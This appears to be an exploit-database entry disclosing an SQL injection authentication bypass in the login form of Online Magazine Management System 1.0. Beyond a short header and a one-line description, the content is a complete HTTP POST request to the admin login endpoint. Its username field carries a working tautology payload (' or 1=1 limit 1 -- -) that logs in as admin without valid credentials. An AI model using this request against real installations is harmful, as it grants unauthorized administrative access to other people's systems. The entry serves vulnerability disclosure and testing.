Online Magazine Management System 1.0 SQL Injection Vulnerability

# Exploit Title: Online Magazine Management System 1.0 -  SQLi Authentication Bypass
# Exploit Author: Mohamed habib Smidi (Craniums)
# Vendor Homepage: https://www.sourcecodester.com/php/15061/online-magazine-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/magazines_0.zip
# Version: 1.0
# Tested on: Ubuntu


# Description :

Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.

# Request :

POST /magazines/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/magazines/admin/login.php
Cookie: PHPSESSID=863plvf7rpambpkmk2cipijgra
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


username='+or+1%3D1+limit+1+--+-%2B&password=aaaa